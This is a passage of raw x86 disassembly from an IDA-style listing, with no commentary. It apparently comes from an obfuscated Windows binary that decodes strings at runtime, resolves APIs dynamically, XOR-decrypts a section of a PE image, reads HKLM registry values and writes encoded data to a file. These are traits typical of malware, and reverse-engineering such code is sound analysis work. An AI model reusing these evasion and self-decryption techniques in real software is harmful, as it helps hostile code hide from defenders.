		push	eax
		mov	eax, ds:100131D8h
		add	eax, ds:100130DCh
		sub	eax, 0Ch
		push	eax
		push	0
		push	100029CBh
		mov	eax, ds:1001321Ch
		add	eax, ds:10013224h
		sub	eax, 0Dh
		push	eax
		push	0
		call	dword ptr ds:10012B90h
		push	eax
		call	dword ptr ds:10011654h
		or	esi, esi
		jnz	short loc_41F325
		call	sub_419F88
		call	sub_41DABE
		jmp	short loc_41F325
; ---------------------------------------------------------------------------


loc_41F311:				; CODE XREF: .data:0041F347j
		lea	eax, [ebp-1Ch]
		push	eax
		call	dword ptr ds:1001277Ch
		lea	eax, [ebp-1Ch]
		push	eax
		call	dword ptr ds:1000D050h


loc_41F325:				; CODE XREF: .data:0041F303j
					; .data:0041F30Fj
		movsx	eax, word ptr ds:10013174h
		sub	eax, 7
		push	eax
		mov	eax, ds:10013134h
		sub	eax, 8
		push	eax
		push	0
		lea	eax, [ebp-1Ch]
		push	eax
		call	dword ptr ds:10011630h
		or	eax, eax
		jnz	short loc_41F311
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------
		dd 4001B8h, 8C280h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	10012784h
		call	dword ptr ds:1000FA3Ch
		mov	eax, ds:10012784h
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_41F36F	proc near		; CODE XREF: .data:00420EA7p
		push	edi
		push	10013EA7h
		call	sub_41C914
		pop	ecx
		push	eax
		call	dword ptr ds:1000F5E8h
		mov	ds:10013298h, eax
		test	eax, eax
		jnz	short loc_41F3A2
		push	10013E99h
		call	sub_41C914
		pop	ecx
		push	eax
		call	dword ptr ds:10010244h
		mov	ds:10013298h, eax


loc_41F3A2:				; CODE XREF: sub_41F36F+1Aj
		push	10013E8Fh
		call	sub_41C914
		push	eax
		push	dword ptr ds:10013298h
		call	dword ptr ds:1000F1F8h
		mov	ds:10012630h, eax
		push	10013E84h
		call	sub_41C914
		push	eax
		push	dword ptr ds:10013298h
		call	dword ptr ds:1000F1F8h
		mov	ds:1000D030h, eax
		push	10013E7Ch
		call	sub_41C914
		push	eax
		push	dword ptr ds:10013298h
		call	dword ptr ds:1000F1F8h
		mov	ds:1000D054h, eax
		push	10013E74h
		call	sub_41C914
		push	eax
		push	dword ptr ds:10013298h
		call	dword ptr ds:1000F1F8h
		mov	ds:1000FA38h, eax
		push	10013E6Ah
		call	sub_41C914
		push	eax
		push	dword ptr ds:10013298h
		call	dword ptr ds:1000F1F8h
		mov	ds:1000FA2Ch, eax
		push	10013E60h
		call	sub_41C914
		push	eax
		push	dword ptr ds:10013298h
		call	dword ptr ds:1000F1F8h
		mov	ds:1001264Ch, eax
		push	10013E56h
		call	sub_41C914
		push	eax
		push	dword ptr ds:10013298h
		call	dword ptr ds:1000F1F8h
		mov	ds:10011638h, eax
		push	10013E4Ch
		call	sub_41C914
		push	eax
		push	dword ptr ds:10013298h
		call	dword ptr ds:1000F1F8h
		mov	ds:10011644h, eax
		push	10013E44h
		call	sub_41C914
		push	eax
		push	dword ptr ds:10013298h
		call	dword ptr ds:1000F1F8h
		mov	ds:10012BACh, eax
		push	10013E3Bh
		call	sub_41C914
		push	eax
		push	dword ptr ds:10013298h
		call	dword ptr ds:1000F1F8h
		mov	ds:10012600h, eax
		push	10013E31h
		call	sub_41C914
		push	eax
		push	dword ptr ds:10013298h
		call	dword ptr ds:1000F1F8h
		mov	ds:1000D020h, eax
		push	10013E26h
		call	sub_41C914
		push	eax
		push	dword ptr ds:10013298h
		call	dword ptr ds:1000F1F8h
		mov	ds:10012634h, eax
		push	10013E1Ah
		call	sub_41C914
		push	eax
		push	dword ptr ds:10013298h
		call	dword ptr ds:1000F1F8h
		mov	ds:1001024Ch, eax
		push	10013E10h
		call	sub_41C914
		add	esp, 38h
		push	eax
		push	dword ptr ds:10013298h
		call	dword ptr ds:1000F1F8h
		mov	ds:1000F1F4h, eax
		pop	edi
		retn
sub_41F36F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F52F	proc near		; CODE XREF: .data:0041F271p

var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	eax, [ebp+arg_0]
		mov	esi, [eax+3Ch]
		mov	ecx, esi
		add	ecx, eax
		mov	eax, [ecx+28h]
		mov	edx, [ebp+arg_0]
		lea	esi, [eax+edx+0Dh]
		movzx	eax, byte ptr [esi]
		xor	eax, 4Dh
		mov	[ebp+var_1], al
		movzx	eax, byte ptr [esi+1]
		mov	edx, ds:1001318Ch
		add	edx, 200h
		mov	ebx, eax
		imul	ebx, edx
		mov	eax, ds:100130ECh
		mov	ecx, eax
		add	ecx, ds:1001309Ch
		sub	ecx, 7
		jmp	short loc_41F587
; ---------------------------------------------------------------------------


loc_41F579:				; CODE XREF: sub_41F52F+5Aj
		movzx	eax, byte ptr [esi+ecx]
		movzx	edx, [ebp+var_1]
		xor	eax, edx
		mov	[esi+ecx], al
		inc	ecx


loc_41F587:				; CODE XREF: sub_41F52F+48j
		cmp	ecx, ebx
		jb	short loc_41F579
		mov	eax, [ebp+arg_4]
		mov	[eax], ebx
		mov	eax, esi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F52F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F596	proc near		; CODE XREF: sub_419F88+ABp

var_1AC		= dword	ptr -1ACh
var_1A8		= byte ptr -1A8h
var_1A4		= dword	ptr -1A4h
var_1A0		= dword	ptr -1A0h
var_19C		= byte ptr -19Ch
var_198		= dword	ptr -198h
var_193		= dword	ptr -193h
var_18F		= dword	ptr -18Fh
var_18B		= dword	ptr -18Bh
var_187		= dword	ptr -187h
var_183		= dword	ptr -183h
var_FF		= byte ptr -0FFh
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1ACh
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	byte ptr [edi],	0
		mov	[ebp+var_193], 94h
		lea	eax, [ebp+var_193]
		push	eax
		call	dword ptr ds:10012B98h
		cmp	[ebp+var_183], 1
		jnz	short loc_41F5DC
		push	10013E0Ah
		call	sub_41C914
		push	eax
		push	edi
		call	dword ptr ds:1000D020h
		add	esp, 0Ch


loc_41F5DC:				; CODE XREF: sub_41F596+2Fj
		cmp	[ebp+var_183], 2
		jnz	short loc_41F5FA
		push	10013E04h
		call	sub_41C914
		push	eax
		push	edi
		call	dword ptr ds:10012634h
		add	esp, 0Ch


loc_41F5FA:				; CODE XREF: sub_41F596+4Dj
		push	10013DF8h
		call	sub_41C914
		push	[ebp+var_187]
		push	[ebp+var_18B]
		push	[ebp+var_18F]
		push	eax
		lea	esi, [ebp+var_FF]
		push	esi
		call	dword ptr ds:10012634h
		lea	eax, [ebp+var_FF]
		push	eax
		push	edi
		call	dword ptr ds:1000D020h
		push	10013DF1h
		call	sub_41C914
		mov	esi, ds:10013244h
		sub	esi, 4
		push	esi
		push	0
		lea	esi, [ebp+var_19C]
		push	esi
		lea	esi, [ebp+var_19C]
		push	esi
		lea	esi, [ebp+var_198]
		push	esi
		push	0FFh
		lea	esi, [ebp+var_FF]
		push	esi
		push	eax
		call	dword ptr ds:10012614h
		push	10013DE9h
		call	sub_41C914
		push	[ebp+var_198]
		push	eax
		lea	esi, [ebp+var_FF]
		push	esi
		call	dword ptr ds:10012634h
		lea	eax, [ebp+var_FF]
		push	eax
		push	edi
		call	dword ptr ds:1000D020h
		push	0FFh
		lea	eax, [ebp+var_FF]
		push	eax
		movsx	eax, word ptr ds:1001324Ch
		movsx	edx, word ptr ds:100131E0h
		add	eax, edx
		sub	eax, 9
		push	eax
		push	400h
		call	dword ptr ds:1000F5F8h
		lea	eax, [ebp+var_FF]
		push	eax
		push	edi
		call	dword ptr ds:1000D020h
		push	10013DE4h
		call	sub_41C914
		push	eax
		push	edi
		call	dword ptr ds:1000D020h
		mov	[ebp+var_1A0], 0FFh
		push	10013DB7h
		call	sub_41C914
		mov	[ebp+var_1AC], eax
		push	10013DAAh
		call	sub_41C914
		lea	esi, [ebp+var_1A8]
		push	esi
		lea	esi, [ebp+var_1A0]
		push	esi
		lea	esi, [ebp+var_FF]
		push	esi
		push	eax
		mov	esi, [ebp+var_1AC]
		push	esi
		push	80000002h
		call	sub_41C7DB
		add	esp, 70h
		mov	[ebp+var_1A4], eax
		mov	eax, ds:1001315Ch
		sub	eax, 8
		cmp	[ebp+var_1A4], eax
		jnz	short loc_41F75C
		lea	eax, [ebp+var_FF]
		push	eax
		push	edi
		call	dword ptr ds:1000D020h
		add	esp, 8


loc_41F75C:				; CODE XREF: sub_41F596+1B3j
		pop	edi
		pop	esi
		leave
		retn
sub_41F596	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F760	proc near		; CODE XREF: sub_419F88+C7p
					; sub_41B354+3D1p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		mov	esi, ds:100131D4h
		sub	esi, 2
		jmp	short loc_41F7A8
; ---------------------------------------------------------------------------


loc_41F774:				; CODE XREF: sub_41F760+4Bj
		call	dword ptr ds:10012BACh
		movsx	edi, word ptr ds:1001322Ch
		mov	edx, ds:10013214h
		lea	edi, [edi+edx+51h]
		mov	edx, 10624DD3h
		push	ecx
		mov	ecx, eax
		imul	edx
		sar	edx, 7
		sar	ecx, 1Fh
		sub	edx, ecx
		mov	eax, edx
		pop	ecx
		add	edi, eax
		mov	edx, edi
		mov	[ebx+esi], dl
		inc	esi


loc_41F7A8:				; CODE XREF: sub_41F760+12j
		cmp	esi, [ebp+arg_4]
		jl	short loc_41F774
		mov	eax, [ebp+arg_4]
		mov	edx, ds:10013190h
		sub	edx, 2
		mov	[ebx+eax], dl
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41F760	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 118h
		push	ebx
		push	esi
		push	edi
		movsx	eax, word ptr ds:100131F0h
		sub	eax, 3
		mov	edx, [ebp+8]
		cmp	byte ptr [edx+eax], 4Bh
		jnz	short loc_41F7F5
		push	1000F0F0h
		lea	eax, [ebp-110h]
		push	eax
		call	sub_423399
		jmp	short loc_41F806
; ---------------------------------------------------------------------------


loc_41F7F5:				; CODE XREF: .data:0041F7E0j
		push	10010260h
		lea	eax, [ebp-110h]
		push	eax
		call	sub_423399


loc_41F806:				; CODE XREF: .data:0041F7F3j
		push	0
		movsx	eax, word ptr ds:10013160h
		dec	eax
		push	eax
		push	4
		push	0
		mov	eax, ds:1001318Ch
		movsx	edx, word ptr ds:10013240h
		add	eax, edx
		sub	eax, 2
		push	eax
		push	40000000h
		lea	eax, [ebp-110h]
		push	eax
		call	dword ptr ds:10012788h
		mov	[ebp-8], eax
		push	2
		push	0
		mov	eax, ds:100131A0h
		add	eax, ds:10013210h
		sub	eax, 4
		push	eax
		push	dword ptr [ebp-8]
		call	dword ptr ds:10012B9Ch
		push	10013DA2h
		call	sub_41C914
		pop	ecx
		push	0
		lea	edx, [ebp-0Ch]
		push	edx
		movsx	edx, word ptr ds:100130B0h
		movsx	ecx, word ptr ds:100131B4h
		add	edx, ecx
		sub	edx, 7
		push	edx
		push	eax
		push	dword ptr [ebp-8]
		call	dword ptr ds:10012B8Ch
		push	493E0h
		push	40h
		call	dword ptr ds:1000FA34h
		mov	ebx, eax
		push	61A80h
		push	40h
		call	dword ptr ds:1000FA34h
		mov	esi, eax
		mov	eax, ds:100131BCh
		sub	eax, 9
		mov	edx, [ebp+8]
		cmp	byte ptr [edx+eax], 4Bh
		jnz	short loc_41F8C3
		mov	eax, [ebp+8]
		inc	eax
		push	eax
		push	ebx
		call	sub_423399
		jmp	short loc_41F8CC
; ---------------------------------------------------------------------------


loc_41F8C3:				; CODE XREF: .data:0041F8B4j
		push	dword ptr [ebp+8]
		push	ebx
		call	sub_423399


loc_41F8CC:				; CODE XREF: .data:0041F8C1j
		mov	ecx, ebx
		or	eax, 0FFFFFFFFh


loc_41F8D1:				; CODE XREF: .data:0041F8D6j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_41F8D1
		mov	[ebp-4], eax
		mov	edi, ds:1001328Ch
		sub	edi, 6
		jmp	short loc_41F90C
; ---------------------------------------------------------------------------


loc_41F8E6:				; CODE XREF: .data:0041F90Fj
		movzx	eax, byte ptr [ebx+edi]
		mov	[ebp-114h], eax
		mov	eax, edi
		mul	edi
		mov	[ebp-118h], eax
		mov	eax, [ebp-114h]
		mov	edx, [ebp-118h]
		add	eax, edx
		mov	[ebx+edi], al
		inc	edi


loc_41F90C:				; CODE XREF: .data:0041F8E4j
		cmp	edi, [ebp-4]
		jb	short loc_41F8E6
		mov	eax, ds:100130C4h
		add	eax, 61A79h
		push	eax
		push	esi
		push	dword ptr [ebp-4]
		push	ebx
		call	sub_41B22D
		add	esp, 10h
		movsx	eax, word ptr ds:10013260h
		mov	edi, eax
		add	edi, ds:10013224h
		sub	edi, 7
		jmp	short loc_41F952
; ---------------------------------------------------------------------------


loc_41F93D:				; CODE XREF: .data:0041F960j
		cmp	byte ptr [esi+edi], 2Bh
		jnz	short loc_41F947
		mov	byte ptr [esi+edi], 28h


loc_41F947:				; CODE XREF: .data:0041F941j
		cmp	byte ptr [esi+edi], 3Dh
		jnz	short loc_41F951
		mov	byte ptr [esi+edi], 29h


loc_41F951:				; CODE XREF: .data:0041F94Bj
		inc	edi


loc_41F952:				; CODE XREF: .data:0041F93Bj
		mov	ecx, esi
		or	eax, 0FFFFFFFFh


loc_41F957:				; CODE XREF: .data:0041F95Cj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_41F957
		cmp	edi, eax
		jb	short loc_41F93D
		mov	eax, ds:1001312Ch
		sub	eax, 8
		mov	edx, [ebp+8]
		cmp	byte ptr [edx+eax], 4Bh
		jnz	short loc_41F9A3
		push	10013D9Dh
		call	sub_41C914
		add	esp, 4
		push	0
		lea	edi, [ebp-0Ch]
		push	edi
		mov	edi, ds:10013244h
		movsx	edx, word ptr ds:100130B0h
		add	edi, edx
		sub	edi, 0Ah
		push	edi
		push	eax
		push	dword ptr [ebp-8]
		call	dword ptr ds:10012B8Ch


loc_41F9A3:				; CODE XREF: .data:0041F971j
		mov	ecx, esi
		or	eax, 0FFFFFFFFh


loc_41F9A8:				; CODE XREF: .data:0041F9ADj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_41F9A8
		push	0
		lea	edx, [ebp-0Ch]
		push	edx
		mov	edx, ds:10013110h
		add	edx, ds:10013238h
		sub	edx, 4
		mov	edi, eax
		add	edi, edx
		push	edi
		push	esi
		push	dword ptr [ebp-8]
		call	dword ptr ds:10012B8Ch
		push	dword ptr [ebp-8]
		call	dword ptr ds:10011654h
		push	ebx
		call	dword ptr ds:1000F61Ch
		push	esi
		call	dword ptr ds:1000F61Ch
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F9EF	proc near		; CODE XREF: sub_419F76+2p
					; sub_419F76+9p

var_104		= byte ptr -104h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	edi
		lea	eax, [ebp+var_104]
		push	eax
		mov	eax, ds:100131D0h
		sub	eax, 7
		push	eax
		push	0
		push	[ebp+arg_0]
		push	0
		call	dword ptr ds:1000FA44h
		mov	edi, eax
		or	edi, edi
		jnz	short loc_41FA47
		push	10013D98h
		call	sub_41C914
		push	eax
		lea	edi, [ebp+var_104]
		push	edi
		call	dword ptr ds:1000D020h
		push	1
		push	43h
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_41D764
		add	esp, 18h


loc_41FA47:				; CODE XREF: sub_41F9EF+2Bj
		pop	edi
		leave
		retn
sub_41F9EF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FA4A	proc near		; CODE XREF: .data:00419D60p
					; sub_41DABE+17Ap ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	ebx
		push	esi
		push	edi
		mov	eax, ds:1001326Ch
		movsx	edx, word ptr ds:10013118h
		mov	esi, eax
		add	esi, edx
		sub	esi, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		push	10014A38h
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ebx, [eax]
		call	dword ptr ds:0[ebx]
		mov	edi, eax
		mov	eax, ds:100131D4h
		sub	eax, 2
		cmp	edi, eax
		jz	short loc_41FA8D
		xor	eax, eax
		jmp	short loc_41FAEB
; ---------------------------------------------------------------------------


loc_41FA8D:				; CODE XREF: sub_41FA4A+3Dj
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+arg_8]
		mov	eax, [ebp+var_4]
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+10h]
		mov	edi, eax
		mov	eax, ds:100130B8h
		sub	eax, 3
		cmp	edi, eax
		jnz	short loc_41FAE0
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		mov	eax, [ebp+var_8]
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+14h]
		mov	edi, eax
		mov	eax, ds:100131CCh
		add	eax, ds:10013284h
		sub	eax, 0Fh
		cmp	edi, eax
		jnz	short loc_41FAD7
		mov	esi, ds:10013244h
		sub	esi, 3


loc_41FAD7:				; CODE XREF: sub_41FA4A+82j
		mov	eax, [ebp+var_8]
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+8]


loc_41FAE0:				; CODE XREF: sub_41FA4A+5Fj
		mov	eax, [ebp+var_4]
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+8]
		mov	eax, esi


loc_41FAEB:				; CODE XREF: sub_41FA4A+41j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41FA4A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FAF0	proc near		; CODE XREF: sub_41DF98+463p
					; sub_41DF98+47Fp

var_FFF		= byte ptr -0FFFh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_423379
		push	ebx
		push	esi
		push	edi
		push	5
		push	[ebp+arg_0]
		call	dword ptr ds:1000D004h
		mov	edi, eax


loc_41FB0D:				; CODE XREF: sub_41FAF0+7Dj
		or	edi, edi
		jnz	short loc_41FB15
		xor	eax, eax
		jmp	short loc_41FB6F
; ---------------------------------------------------------------------------


loc_41FB15:				; CODE XREF: sub_41FAF0+1Fj
		push	0FFFh
		lea	eax, [ebp+var_FFF]
		push	eax
		push	edi
		call	dword ptr ds:1000E010h
		movsx	eax, word ptr ds:10013144h
		sub	eax, 5
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+var_FFF]
		push	eax
		call	sub_4188C2
		add	esp, 0Ch
		movsx	esi, word ptr ds:10013124h
		movsx	ebx, word ptr ds:10013170h
		lea	esi, [esi+ebx+0FFF7h]
		cmp	eax, esi
		jz	short loc_41FB62
		mov	eax, edi
		jmp	short loc_41FB6F
; ---------------------------------------------------------------------------


loc_41FB62:				; CODE XREF: sub_41FAF0+6Cj
		push	2
		push	edi
		call	dword ptr ds:1000D004h
		mov	edi, eax
		jmp	short loc_41FB0D
; ---------------------------------------------------------------------------


loc_41FB6F:				; CODE XREF: sub_41FAF0+23j
					; sub_41FAF0+70j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41FAF0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FB74	proc near		; CODE XREF: sub_418999+209p
					; sub_418999+220p ...

var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		cmp	dword ptr ds:10013290h,	0
		jnz	short loc_41FB9C
		push	10012BC0h
		call	dword ptr ds:1000E008h
		mov	dword ptr ds:10013290h,	1


loc_41FB9C:				; CODE XREF: sub_41FB74+11j
		mov	esi, ds:100131D8h
		sub	esi, 3
		movzx	ebx, byte ptr [edi]
		movzx	edx, byte ptr [edi+2]
		movzx	edx, dx
		shl	edx, 8
		or	ebx, edx
		movzx	ebx, bx
		movsx	edx, word ptr ds:100130BCh
		sub	edx, 7
		imul	ebx, edx
		add	esi, ebx
		mov	[ebp+var_4], si
		movzx	eax, [ebp+var_4]
		mov	edx, ds:100130ACh
		add	edx, 5
		cmp	eax, edx
		jz	loc_41FC5F
		push	10012BC0h
		call	dword ptr ds:10012660h
		mov	eax, ds:10013110h
		inc	eax
		mov	[ebp+var_2], ax
		jmp	short loc_41FC1A
; ---------------------------------------------------------------------------


loc_41FBF6:				; CODE XREF: sub_41FB74+B0j
		movzx	eax, [ebp+var_2]
		add	eax, edi
		movsx	edx, byte ptr [eax]
		movsx	ecx, byte ptr [edi+4]
		xor	edx, ecx
		mov	[eax], dl
		movzx	eax, [ebp+var_2]
		mov	edx, ds:1001309Ch
		sub	edx, 3
		add	eax, edx
		mov	[ebp+var_2], ax


loc_41FC1A:				; CODE XREF: sub_41FB74+80j
		movzx	eax, [ebp+var_2]
		movzx	edx, [ebp+var_4]
		cmp	eax, edx
		jl	short loc_41FBF6
		mov	eax, ds:100131F8h
		sub	eax, 3
		mov	edx, ds:10013258h
		sub	edx, 2
		mov	[edi+eax], dl
		mov	eax, ds:1001321Ch
		add	eax, ds:10013114h
		sub	eax, 0Eh
		mov	edx, ds:10013128h
		sub	edx, 9
		mov	[edi+eax], dl
		push	10012BC0h
		call	dword ptr ds:10011650h


loc_41FC5F:				; CODE XREF: sub_41FB74+65j
		lea	eax, [edi+6]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41FB74	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FC67	proc near		; CODE XREF: sub_41BD8F+24p
					; sub_41DCEB+25p ...

var_10C		= dword	ptr -10Ch
var_108		= byte ptr -108h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10Ch
		push	edi
		mov	edi, [ebp+arg_0]
		push	104h
		lea	eax, [ebp+var_108]
		push	eax
		call	dword ptr ds:1000F600h
		mov	eax, ds:1001314Ch
		movsx	edx, word ptr ds:10013264h
		sub	edx, 9
		mov	byte ptr [ebp+eax+var_10C+1], dl
		push	104h
		lea	eax, [ebp+var_108]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	104h
		lea	eax, [ebp+var_108]
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		call	dword ptr ds:10012614h
		push	10013D90h
		call	sub_41C914
		push	[ebp+var_10C]
		push	eax
		push	edi
		call	dword ptr ds:10012634h
		add	esp, 10h
		mov	eax, ds:100131D0h
		add	eax, ds:10013184h
		sub	eax, 9
		mov	[ebp+var_4], eax
		jmp	short loc_41FD2D
; ---------------------------------------------------------------------------


loc_41FCFE:				; CODE XREF: sub_41FC67+D3j
		mov	eax, [ebp+var_4]
		mov	al, [edi+eax]
		cmp	al, 30h
		jl	short loc_41FD14
		cmp	al, 39h
		jg	short loc_41FD14
		mov	eax, [ebp+var_4]
		add	eax, edi
		add	byte ptr [eax],	31h


loc_41FD14:				; CODE XREF: sub_41FC67+9Fj
					; sub_41FC67+A3j
		mov	eax, [ebp+var_4]
		mov	al, [edi+eax]
		cmp	al, 41h
		jl	short loc_41FD2A
		cmp	al, 5Ah
		jg	short loc_41FD2A
		mov	eax, [ebp+var_4]
		add	eax, edi
		add	byte ptr [eax],	20h


loc_41FD2A:				; CODE XREF: sub_41FC67+B5j
					; sub_41FC67+B9j
		inc	[ebp+var_4]


loc_41FD2D:				; CODE XREF: sub_41FC67+95j
		movsx	eax, word ptr ds:100131F0h
		add	eax, 5
		cmp	[ebp+var_4], eax
		jb	short loc_41FCFE
		pop	edi
		leave
		retn
sub_41FC67	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FD3F	proc near		; CODE XREF: sub_41B22D+3Cp
					; sub_41B22D+C4p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		movzx	ebx, byte ptr [eax]
		movsx	eax, word ptr ds:100130BCh
		mov	edx, ds:10013234h
		lea	eax, [eax+edx+0F3h]
		imul	ebx, eax
		mov	eax, [ebp+arg_0]
		movzx	eax, byte ptr [eax+1]
		add	ebx, eax
		movsx	eax, word ptr ds:10013218h
		add	eax, 0FBh
		imul	ebx, eax
		mov	eax, [ebp+arg_0]
		movzx	eax, byte ptr [eax+2]
		add	ebx, eax
		mov	eax, ds:10013280h
		movsx	edx, word ptr ds:100131B4h
		mov	esi, eax
		add	esi, edx
		sub	esi, 8
		jmp	short loc_41FDEA
; ---------------------------------------------------------------------------


loc_41FD99:				; CODE XREF: sub_41FD3F+B5j
		movsx	edi, word ptr ds:10013208h
		add	edi, ds:10013224h
		sub	edi, 7
		sub	edi, esi
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_4], edx
		mov	edx, ebx
		and	edx, 8000003Fh
		jge	short loc_41FDC0
		dec	edx
		or	edx, 0FFFFFFC0h
		inc	edx


loc_41FDC0:				; CODE XREF: sub_41FD3F+7Aj
		mov	ecx, ds:100132BCh
		mov	dl, [ecx+edx]
		mov	ecx, [ebp+var_4]
		mov	[ecx+edi], dl
		mov	eax, ebx
		mov	edi, ds:1001317Ch
		add	edi, 34h
		mov	ecx, edi
		add	ecx, ds:100130F4h
		cdq
		idiv	ecx
		mov	ebx, eax
		add	esi, 1


loc_41FDEA:				; CODE XREF: sub_41FD3F+58j
		movsx	eax, word ptr ds:10013208h
		dec	eax
		cmp	esi, eax
		jl	short loc_41FD99
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41FD3F	endp

; ---------------------------------------------------------------------------
		db 0B8h
		dd 80004001h
		db 0C2h, 10h, 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 230h
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+8]
		mov	ebx, [ebp+0Ch]
		mov	eax, ebx
		cmp	eax, 100h
		jz	short loc_41FE34
		jl	loc_420372
		cmp	eax, 111h
		jz	loc_41FEC5
		jmp	loc_420372
; ---------------------------------------------------------------------------


loc_41FE34:				; CODE XREF: .data:0041FE1Cj
		cmp	dword ptr [ebp+10h], 9
		jnz	loc_420372
		mov	edi, ds:1001315Ch
		sub	edi, 9
		jmp	short loc_41FEB4
; ---------------------------------------------------------------------------


loc_41FE49:				; CODE XREF: .data:0041FEBEj
		mov	eax, 30h
		mul	edi
		mov	[ebp-208h], eax
		cmp	ds:10010380h[eax], esi
		jnz	short loc_41FE7E
		mov	eax, 30h
		mul	edi
		mov	[ebp-20Ch], eax
		push	dword ptr ds:10010384h[eax]
		call	dword ptr ds:1000FA40h
		jmp	loc_420372
; ---------------------------------------------------------------------------


loc_41FE7E:				; CODE XREF: .data:0041FE5Dj
		mov	eax, 30h
		mul	edi
		mov	[ebp-20Ch], eax
		cmp	ds:10010384h[eax], esi
		jnz	short loc_41FEB3
		mov	eax, 30h
		mul	edi
		mov	[ebp-210h], eax
		push	dword ptr ds:10010388h[eax]
		call	dword ptr ds:1000FA40h
		jmp	loc_420372
; ---------------------------------------------------------------------------


loc_41FEB3:				; CODE XREF: .data:0041FE92j
		inc	edi


loc_41FEB4:				; CODE XREF: .data:0041FE47j
		mov	eax, ds:10013258h
		add	eax, 62h
		cmp	edi, eax
		jb	short loc_41FE49
		jmp	loc_420372
; ---------------------------------------------------------------------------


loc_41FEC5:				; CODE XREF: .data:0041FE29j
		mov	eax, ds:10013134h
		mov	edi, eax
		add	edi, ds:10013224h
		sub	edi, 0Dh
		jmp	short loc_41FEF1
; ---------------------------------------------------------------------------


loc_41FED7:				; CODE XREF: .data:0041FF04j
		mov	eax, 30h
		mul	edi
		mov	[ebp-208h], eax
		mov	eax, ds:1001038Ch[eax]
		cmp	[ebp+14h], eax
		jz	short loc_41FF06
		inc	edi


loc_41FEF1:				; CODE XREF: .data:0041FED5j
		movsx	eax, word ptr ds:10013264h
		mov	edx, ds:10013288h
		lea	eax, [eax+edx+55h]
		cmp	edi, eax
		jb	short loc_41FED7


loc_41FF06:				; CODE XREF: .data:0041FEEEj
		mov	eax, ds:10013258h
		add	eax, 5Eh
		movsx	edx, word ptr ds:10013180h
		add	eax, edx
		cmp	edi, eax
		jz	loc_420372
		push	0FFh
		lea	eax, [ebp-103h]
		push	eax
		mov	eax, 30h
		mul	edi
		mov	[ebp-20Ch], eax
		push	dword ptr ds:10010378h[eax]
		call	dword ptr ds:10012BA4h
		movsx	eax, word ptr ds:10013124h
		mov	byte ptr [ebp+eax-20Ah], 4Bh
		mov	eax, ds:100130F8h
		mov	edx, ds:1001321Ch
		sub	edx, 8
		mov	[ebp+eax-20Ah],	dl
		lea	eax, [ebp-103h]
		push	eax
		lea	eax, [ebp-204h]
		push	eax
		call	dword ptr ds:1000D020h
